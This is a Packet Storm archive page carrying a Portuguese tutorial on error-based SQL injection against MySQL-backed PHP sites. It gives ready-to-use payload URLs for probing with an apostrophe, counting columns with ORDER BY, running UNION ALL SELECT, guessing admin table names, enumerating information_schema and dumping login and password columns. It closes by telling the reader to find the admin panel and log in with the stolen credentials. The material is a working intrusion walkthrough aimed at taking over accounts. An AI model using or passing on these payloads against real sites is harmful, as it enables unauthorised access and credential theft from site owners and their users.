exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Portuguese Whitepaper About SQL Injection

Portuguese Whitepaper About SQL Injection
Posted Jan 19, 2010
Authored by Rafael Arantes

Whitepaper discussing SQL injection. Written in Portuguese.

tags | paper, sql injection
SHA-256 | edaf265484c5491983e11baab3b5fbf2b47295758d381e5f2e0946733f069288

Portuguese Whitepaper About SQL Injection

Change Mirror Download



_____ ____ _ _____ _ _ _
/ ____|/ __ \| | |_ _| (_) | | (_)
| (___ | | | | | | | _ __ _ ___ ___| |_ _ ___ _ __
\___ \| | | | | | | | '_ \| |/ _ \/ __| __| |/ _ \| '_ \
____) | |__| | |____ _| |_| | | | | __/ (__| |_| | (_) | | | |
|_____/ \___\_\______| |_____|_| |_| |\___|\___|\__|_|\___/|_| |_|
_/ |
|__/

# Por Twi John
----------------

Primeiramente quero mostrar para vocês um site onde vocês poderam encontrar mais sobre novas vulnerabilidades, como se proteger de vulnerabilidades da web.

http://www.owasp.org/

Nessa aula estremos aprendendo SQLi, no entanto dessa vez estaremos consultado o database Mysql para obter informações de login e senha.

Aqui esta o site: www.site.com.br/noticias.php?id=10

Para descobrir se pode estar vulneravel, coloque ' depois do link, caso dei algum erro tem grande chance de estar vulneravel.

www.site.com.br/noticias.php?id=10'



Um exemplo de erro: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/site/public_html/noticias/index.php on line 282

Essa falha é baseada em erros.

Vamos pegar o numero de colunas usando ORDER BY *
É usado dessa maneira:

+order+by+1 //Sem erro
+order+by+2 //Sem erro
+order+by+3 //Sem erro
+order+by+4 //Sem erro
+order+by+5 //Sem erro
+order+by+6 //Erro



www.site.com.br/noticias.php?id=10+order+by+5



Então são apenas 5 colunas

Vamos uni-las, usando UNION ALL SELECT *



http://www.site.com.br/noticias.php?id=10+union+all+select+1,2,3,4,5



Coloque um traço (-) antes do valor da variavel ficando assim:

http://www.site.com.br/noticias.php?id=-10+union+all+select+1,2,3,4,5



Irão aparecer numeros, eles que nóis iremos subtituir por informações:

Precisamos encontrar a tabela do login agora, podemos usar Brute Force, ou então information_schema. O information_schema só funciona em databases MYSQL acima de versão acima de 5.0, para descobrir a versão use: version()


+union+all+select+1,version(),3



//--Brute Force--\\

Vamos tentar colocar tabelas até que não apareça erro:

UNION ALL SELECT * FROM ADMIN == erro
"" "" "" "" LOGIN == erro
"" "" "" "" USER == erro
"" "" "" "" USERS == erro
"" "" "" "" USUARIOS == sem erro


Então no caso ficaria assim:

http://www.site.com.br/noticias.php?id=-10+union+all+select+1,2,3,4,5+from+usuarios



Você pode usar: admin, admins, usuarios, usuario, user, users, user_name, username, login, adm, tb_usuarios, tb_admin ... entre outros.

//--INFORMATION_SCHEMA--\\

DATABASE: INFORMATION_SCHEMA
TABELA: TABLES
COLUNA: TABLE_NAME

Sintaxe = Exemplo: UNION ALL SELECT 1,TABLE_NAME,3 FROM INFORMATION_SCHEMA.TABLES

Para ir passando de tabela você usa LIMIT *

LIMIT 1,1
LIMIT 2,1
LIMIT 3,1
LIMIT 4,1
LIMIT 5,1


... E assim vai indo até encontrar uma tabela de login.

Ex:

http://www.site.com.br/noticias.php?id=-10+union+all+select+1,2,table_name,4,5+from+information_schema.tables+limit+1,1



//

Vamos agora descobrir as colunas de login, você pode usar as mesmas tecnicas de brute force e information_schema, no entanto information_schema é um pouco diferente:

DATABASE: INFORMATION_SCHEMA
TABELLA: COLUMNS
COLUNA: COLUMN_NAME

Sintaxe = Exemplo: UNION ALL SELECT 1,COLUMN_NAME,3 FROM INFORMATION_SCHEMA.COLUMNS

Para passar de coluna pode usar o LIMIT também.

//

Agora continuando suponhamos que eu tenha pegado a tabela USUARIOS e as colunas LOGIN e SENHA, para pegar as informações de login e senha é so digitar eles no seu site, nos numeros visiveis, suponhamos que tenha parecido o 2 e 3 então vamos substituir eles pela informação:


UNION ALL SELECT 1,LOGIN,SENHA,3,4,5 FROM USUARIOS



http://www.site.com.br/noticias.php?id=-10+union+all+select+1,login,senha,4,5+from+usuarios



Agora é só encontrar a area de login, geralmente fica em /admin , /adm/ , /administrator /login.php , ou você pode usar o acunetix ou algum outro tool para encontrar a area de login.
Ao encontra-la é só você se logar com as informações que você pegou


________________________________
Keep your friends updated— even when you’re not signed in.<http://www.microsoft.com/middleeast/windows/windowslive/see-it-in-action/social-network-basics.aspx?ocid=PID23461::T:WLMTAGL:ON:WL:en-xm:SI_SB_5:092010>



Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close